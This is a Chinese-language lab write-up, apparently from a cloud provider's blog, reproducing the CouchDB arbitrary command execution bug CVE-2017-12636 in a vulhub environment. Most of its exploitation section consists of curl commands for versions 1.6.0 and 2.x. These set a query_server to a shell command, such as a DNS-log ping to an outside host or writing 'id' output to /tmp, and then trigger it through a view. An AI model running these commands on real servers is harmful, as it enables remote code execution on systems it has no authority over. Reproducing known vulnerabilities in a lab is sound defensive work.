您好,登錄后才能下訂單哦!
這期內容當中小編將會給大家帶來有關如何進行couchdb 任意命令執行漏洞CVE-2017-12636復現,文章內容豐富且以專業的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
CouchDB 是一個開源的面向文檔的數據庫管理系統,可以通過 RESTful JavaScript Object Notation (JSON) API 訪問。術語 “Couch” 是 “Cluster Of Unreliable Commodity Hardware” 的首字母縮寫,它反映了 CouchDB 的目標具有高度可伸縮性,提供了高可用性和高可靠性,即使運行在容易出現故障的硬件上也是如此。
在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12636是一個任意命令執行漏洞,我們可以通過config api修改couchdb的配置query_server
,這個配置項在設計、執行view的時候將被運行。
漏洞影響版本:小于 1.7.0 以及 小于 2.1.1
由于該漏洞利用條件需要登錄用戶觸發,通常配合CVE-2017-12635一起利用
CVE-2017-12635復現文章鏈接
下面僅作漏洞復現記錄與實現,利用流程如下:
1.漏洞環境
目標鏈接:http://192.168.101.152:5984/
訪問鏈接http://192.168.101.152:5984/_utils/如下
由于Couchdb 2.x和和1.x的的API接口有所差別,導致利用方式也不同,這里演示版本為1.6.0版本
2.漏洞利用
1.6.0漏洞利用:
依次執行以下命令即可觸發
其中vulhub:vulhub為管理員的賬戶密碼
curl -X PUT 'http://vulhub:vulhub@192.168.101.152:5984/_config/query_servers/cmd' -d '"ping test.kfqhkz.dnslog.cn"'
curl -X PUT 'http://vulhub:vulhub@192.168.101.152:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@192.168.101.152:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
curl -X POST 'http://vulhub:vulhub@192.168.101.152:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'
執行完畢后查看dnslog
命令執行成功
2.x漏洞利用如下:
Couchdb 2.x 引入了集群,所以修改配置的API需要增加node name。這個其實也簡單,我們帶上賬號密碼訪問`/_membership`即可:
```
curl http://vulhub:vulhub@your-ip:5984/_membership
```
可見,我們這里只有一個node,名字是`nonode@nohost`。
然后,我們修改`nonode@nohost`的配置:
```
curl -X PUT http://vulhub:vulhub@your-ip:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/success"'
```
然后,與1.6.0的利用方式相同,我們先增加一個Database和一個Document:
```
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
```
Couchdb 2.x刪除了`_temp_view`,所以我們為了觸發`query_servers`中定義的命令,需要添加一個`_view`:
```
curl -X PUT http://vulhub:vulhub@your-ip:5984/vultest/_design/vul -d '{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}' -H "Content-Type: application/json"
```
增加`_view`的同時即觸發了`query_servers`中的命令。
上述就是小編為大家分享的如何進行couchdb 任意命令執行漏洞CVE-2017-12636復現了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。